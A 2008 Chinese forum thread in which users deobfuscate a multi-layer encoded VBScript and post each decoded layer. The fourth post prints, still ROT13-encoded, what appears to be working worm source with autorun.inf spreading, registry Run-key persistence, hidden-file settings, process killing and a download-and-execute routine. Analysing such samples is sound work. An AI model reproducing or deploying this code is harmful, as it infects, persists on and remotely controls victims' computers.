我来我网
https://5come5.cn
 
您尚未 登录  注册 | 菠菜 | 软件站 | 音乐站 | 邮箱1 | 邮箱2 | 风格选择 | 更多 » 
 

« 1 2» Pages: ( 1/2 total )
本页主题: 【FY悬赏】召唤达人来分析一个vbs脚本 显示签名 | 打印 | 加为IE收藏 | 收藏主题 | 上一主题 | 下一主题

震月



年度之星奖 社区建设奖 终身成就奖
性别: 帅哥 状态: 该用户目前不在线
等级: 幕后精英
家族: 坛猪弹劾组
发贴: 16349
威望: 13
浮云: 85107
在线等级:
注册时间: 2006-03-28
最后登陆: 2024-07-10

5come5帮你背单词 [ aeroplane /'/ərəplein/ n. 飞机 ]


【FY悬赏】召唤达人来分析一个vbs脚本

顶端 Posted: 2008-03-03 19:19 | [楼 主]
震月



年度之星奖 社区建设奖 终身成就奖
性别: 帅哥 状态: 该用户目前不在线
等级: 幕后精英
家族: 坛猪弹劾组
发贴: 16349
威望: 13
浮云: 85107
在线等级:
注册时间: 2006-03-28
最后登陆: 2024-07-10

5come5帮你背单词 [ vice /vais/ n. 恶习,缺点;a. 副的 ]


脱第一层加密后:
Copy code
rem UC lO="    = =|4.7|:=|UC|:=255:=|.|:=|.|:=|%% / |:=|/#/|:=|\.|}{ =(|.|): =(|:\\.\\7|)}{ =(|.|): =.(| *  87_|)}{ =.:=.:=.(5)&:=.(6)&}{=.(7)&:=&|\|:=(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5): =||  =}{=|HKLM\\|&&:=|\\\\\\|}{=| \|:=(|HKLM|&&&| |,5)&&:=(|HKCU|&&&||,5)&}{=(|HKCU|&&&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\\\\\\\\|: =  =}{    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{ (,|0.7|)<>5 }{=||+}{ <>7507  =||+: =|$|+:  := =(||,6):=(||,6):  ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{ -()>9  =:. |  || |||,5,}{ ((||,6)>355       )  (||,6)<>() }{=(||,6):   =6:=6:=5}{  <>|<>|}{ =7  =9 }{7=(&,++()&,5,655):=(&,6)}{ =6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ :=+6:=6=6  7=6: >9 }{   =6}{ }{ }{    -6}{}{ (&,6) }{ =.(&,6)}{=.:=.:=.:=.:=.:=.}{=.:=.:=.:=.:=.:=.}{.: &: =|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{ ->=6   (&,6)   &,&&&,,7555:.}{ =6   }{ <>   (&,6)   &: &,&&&,6,6555}{ }{ }{ }{ }{ (6)    =6 :=  .()  =6  =}{ .()  =7  = :=  ,5}{ (,6)  .()}{ (,7)  .() := : :=  : =.(,):. :.}{ =6   ,2}{  (5)  =6 :=  : =.(,):=}{. &&|[]|&&|=. .\|&&&|\\=. .\|&&&|\\=6|}{.: ,2:  (5)  =6 :=  <5  =}{ (,6) }{ .().=5 }{=5}{}{ =.(,6)}{ =.(,6)}{.}{=.}{.}{ >5  <= }{=5 }{  <}{=+6}{  . }{=.}{}{=5}{ }{}{=}{ <=5 }{=.}{}{=5}{ }{.}{ }{}{=5}{  :=  =-6  .   . &,,|REG_SZ| :=  =6  =&}{=.()}{ (5)  =5 :=  (,6) : =.():.=: =}{ (,7) : =.():.=: = := )):  :=  ,5:  = (|.|):. ||,,5:.()}{ <>5 }{  (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):. ,7}{ ,2}{ (,6)  =.().  =5}{ > }{ =6  . }{}{=5: }{ }{ }{  :=  =.(| ":function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y):end function:qO="*  87_  ='|&&|'|):=6}{    :=+6}{ >()  =6}{ <5   .=7  =6  . &| |&(.,(.)-9),5,}{}{ (5)  =7 :=  =6  ():=+(((,,6))-): := =670:=678:=679:=42:=654:=68:=665:=677:=-68:=5:=5: :=     }{ =&  . | |&,8,}{}{=(,-6): ()  (|H N!|): 6}{  }{ 6}{ (||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ ||,9}{ }{=(||,6): ()  -()>85   ||,9}{ (||,6)=6  . | / /|,5,: ||,5}{ (&,5)=   -6}{=(||,6): (&,6)  . &}{ 5}{: 6}{. 6555}{ (||,6)<>()  . }{}{. 0555}{ (|.|,7)=7 }{ (||,6)=() :.:: ||,}{ }{ (|.|,7)=6  .}{ ,2: &: &: 6:. &}{  :=&:=  : =.(,):. :.: ,2 :=  := \ :    :=  =6  (&,5)<> }{. &,,|REG_SZ|}{ (5)   (,6)   ,&| |||&&||||,5}{ =-6 : }{ =5 : : &,-6: ,-6}{  :=  =6  . ,|5|,|REG_DWORD|}{ =5  =(,5) := =(||,6)}{  <=:=&|,|&:=+6:}{=&:=(,|,|)}{ =5  ()}{ =()    (&,6)   &,&,5,7555}{}{ (&,6)  . &}{=6 :=  (||,6)<>  (,6)=6 }{ (&,&,5,7555)=6  =6}{ (&,6)  =6 }{ =6   ,-6}{. &}{  (5)   ||,: 5,+()++,5,5: =7   ,-6: 6}{ }{=6}{ }{. 655 :=     }{ .=8  (.=6  <>|A:|  <> |B:|) }{ =6 }{ (&,7)   &}{ (&&,6)  (&,6) }{ (&,6)<>   &: &&}{}{ 6: &: &&}{ }{ =-6 : &: &&}{: &&,&|((.,8)),8|&(65555,|'|),6: &}{ }{ }{ := }{=(||,6)<>()}{ (()  0)=5 }{   (||,6)<>9   6}{=(): (  7)=6  <>  <>6  =:=: 5}{ (||,6)=6  (((||,6)))}{ }{. 455}{ (5)=6     ||,: -6}{ (|.|,6)=6 :. | |&+5.558&| / |&,5,: ||,6: 6: 5:.}{ := :(( :=  =6 }{ 5: -6: : &: &: &:.}{}{ 6}{ (&)   &}{ (&)   &}{  :=  (,6)<>| |&  = :(& )) && )) && () &&  && (,) &&  && () &&  && (,,) &&  && () &&  && (,) &&  && (,) &&  && (,) &&  && (,) &&  && (,,,) &&  && (,) &&  && () &&  && () &&  && () &&  && () &&  && (,,,,) &&  && (,,,) &&  && () &&  && () &&  && () &&  && () &&  &)  ()  .<>5  <5  . =  <>5  (  ,6)<>()    ,(  ,6)+()  (  ,6)>655    ,:  ,5      ":execute(uc(lO+qO))


脱第二层加密后:
Copy code
execute ""&chr(&h63)&chr(&h3d)&chr(&h76)&chr(&h62)&chr(&h63)&chr(&h72)&chr(&h6C)&chr(&h66)&chr(&h3A)&chr(&h64)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h37)&chr(&h3A)&chr(&h66)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h3A)&chr(&h6A)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h3A)&chr(&h68)&chr(&h3D)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h6D)&chr(&h3D)&chr(&h33)&chr(&h31)&chr(&h3A)&chr(&h72)&chr(&h3D)&chr(&h38)&chr(&h33)&chr(&h3A)&chr(&h6B)&chr(&h3D)&chr(&h31)&chr(&h3A)&chr(&h6E)&chr(&h3D)&chr(&h38)&chr(&h3A)&chr(&h73)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h75)&chr(&h3D)&chr(&h2D)&chr(&h35)&chr(&h3A)&chr(&h76)&chr(&h3D)&chr(&h35)&chr(&h0D)&chr(&h0A)&chr(&h69)&chr(&h3D)&chr(&h22)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h74)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h74)&chr(&h68)&chr(&h65)&chr(&h6E)&chr(&h20)&chr(&h22)&chr(&h3A)&chr(&h65)&chr(&h3D)&chr(&h22)&chr(&h65)&chr(&h6C)&chr(&h73)&chr(&h65)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3E)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h61)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h61)&chr(&h3C)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h67)&chr(&h3D)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h2B)&chr(&h22)&chr(&h3A)&chr(&h6F)&chr(&h3D)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h67)&chr(&h3A)&chr(&h70)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h3A)&chr(&h71)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h69)&chr(&h0D)&chr(&h0A)&chr(&h65)&chr(&h78)&chr(&h65)&chr(&h63)&chr(&h75)&chr(&h74)&chr(&h65)&chr(&h28)&chr(&h6C)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h6F)&chr(&h72)&chr(&h20)&chr(&h69)&chr(&h69)&chr(&h3D)&chr(&h31)&chr(&h20)&chr(&h74)&chr(&h6F)&chr(&h20)&chr(&h6C)&chr(&h65)&chr(&h6E)&chr(&h28)&chr(&h62)&chr(&h29)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h73)&chr(&h63)&chr(&h28)&chr(&h6D)&chr(&h69)&chr(&h64)&chr(&h28)&chr(&h62)&chr(&h2C)&chr(&h69)&chr(&h69)&chr(&h2C)&chr(&h31)&chr(&h29)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h64)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h30)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h6A)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h33)&chr(&h34)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h26)&chr(&h22)&chr(&h68)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6D)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h72)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h6B)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h73)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h37)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h34)&chr(&h38)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h32)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h76)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h65)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h69)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h75)&chr(&h63)&chr(&h2B)&chr(&h63)&chr(&h68)&chr(&h72)&chr(&h28)&chr(&h61)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h65)&chr(&h78)&chr(&h74)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h72)&chr(&h6E)&chr(&h2B)&chr(&h63)&chr(&h2B)&chr(&h75)&chr(&h63)&chr(&h22)&chr(&h29)


脱第三层加密后:
Copy code
c=vbcrlf:d=127:f=11:j=12:h=14:m=31:r=83:k=1:n=8:s=114:u=-5:v=5 i="if a=":t=" then ":e="elseif a>=":a=" and a<=":g="a=a+":o=t&c&g:p=c&e:q=c&i execute(l&"for ii=1 to len(b):a=asc(mid(b,ii,1))"&q&"d"&t&"a=13"&q&"f"&t&"a=10"&q&"j"&t&c&"a=34"&c&e&"h"&a&"m"&o&"r"&p&"k"&a&"n"&o&"s"&p&"53"&a&"57"&o&"u"&p&"48"&a&"52"&o&"v"&c&"end if"&c&"uc=uc+chr(a)"&c&"next"&c&"uc=rn+c+uc")


脱第四层加密后:
Copy code
for ii=1 to len(b):a=asc(mid(b,ii,1)) if a=d then a=13 if a=f then a=10 if a=j then a=34 elseif a>=h and a<=m then a=a+r elseif a>=k and a<=n then a=a+s elseif a>=53 and a<=57 then a=a+u elseif a>=48 and a<=52 then a=a+v end if uc=uc+chr(a) next uc=rn+c+uc


格式化了一下后大概是:
Copy code
for ii=1 to len(b)
a=asc(mid(b,ii,1))
if a=d then a=13
if a=f then a=10
if a=j then
a=34
elseif a>=h and a<=m then
a=a+r
elseif a>=k and a<=n then
a=a+s
elseif a>=53 and a<=57 then
a=a+u
elseif a>=48 and a<=52 then
a=a+v
end if
uc=uc+chr(a)
next
uc=rn+c+uc


然后我就卡在这里了,因为这段运行没有结果,b变量不知在哪一步弄丢了,程序执行不下去了
顶端 Posted: 2008-03-03 19:19 | [1 楼]
iguard



贝尔诺勋章 自信之戒
性别: 帅哥 状态: 该用户目前不在线
头衔: 要走了
等级: 版主
家族: 战略研究所
发贴: 11259
威望: 5
浮云: 407
在线等级:
注册时间: 2005-12-07
最后登陆: 2009-11-04

5come5帮你背单词 [ pierce /piəs/ v. 刺穿,看穿,洞察 ]


怎么脱壳的?
远程图片:2008-03-03_192703.png
顶端 Posted: 2008-03-03 19:27 | [2 楼]
震月



年度之星奖 社区建设奖 终身成就奖
性别: 帅哥 状态: 该用户目前不在线
等级: 幕后精英
家族: 坛猪弹劾组
发贴: 16349
威望: 13
浮云: 85107
在线等级:
注册时间: 2006-03-28
最后登陆: 2024-07-10

5come5帮你背单词 [ tilt /tilt/ v. (使)倾斜;n. 倾斜,斜坡 ]


Quote:
引用第2楼iguard于2008-03-03 19:27发表的  :
怎么脱壳的?


不是用软件哈,这不是exe,没有壳的说法,
这个文件只是作者多次用了一些算法把源码加密了自身
我是在iis环境下把代码改成asp用response输出源码里execute的内容弄的
顶端 Posted: 2008-03-03 19:58 | [3 楼]
est





性别: 帅哥 状态: 该用户目前不在线
等级: 荣誉会员
发贴: 6578
威望: 3
浮云: 431
在线等级:
注册时间: 2006-10-14
最后登陆: 2018-07-05

5come5帮你背单词 [ lack /læk/ v. & n. 缺乏,缺少,短缺 ]


这个是zzzEVAzzz的vbs变种“壳”。为什么可以理解为“壳”呢?因为每一次vbs运行之后源文件的内容都要变化一次。

我解到第三层了,有2个execute被我替换成WScript.Echo了,有兴趣的可以继续解下去
Quote:


on error resume next
dyz="ire=|9.2|:gvy=|UC|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs bf<>2052 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&|[nhgbeha]|&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{je |bfj|,4}{raq vs}{qwf=ee(|qwf|,1):vs vfqngr(qwf) naq qngr-pqngr(qwf)>30 gura je |bfj|,4}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas:pb q&w&if}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 5)=0 gura}{vs qph naq ee(|bfj|,1)<>4 gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=1 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:xz 0:jfpevcg.dhvg}{ybbc":ext=":WScript.Echo(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|erz |&gvy gura ps=gehr":WScript.Echo(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft)
function er(sco)
if err.number<>0 or sco<0 then
err.clear
er=true
if sco<>0 and rr("ded",1)<>cstr(date) then
wr "oer",rr("oer",1)+abs(sco)
if rr("oer",1)>100 then wr "ded",date:wr "oer",0
end if
end if
end function

顶端 Posted: 2008-03-04 14:01 | [4 楼]
木鱼



性别: 保密 状态: 该用户目前不在线
等级: 荣誉会员
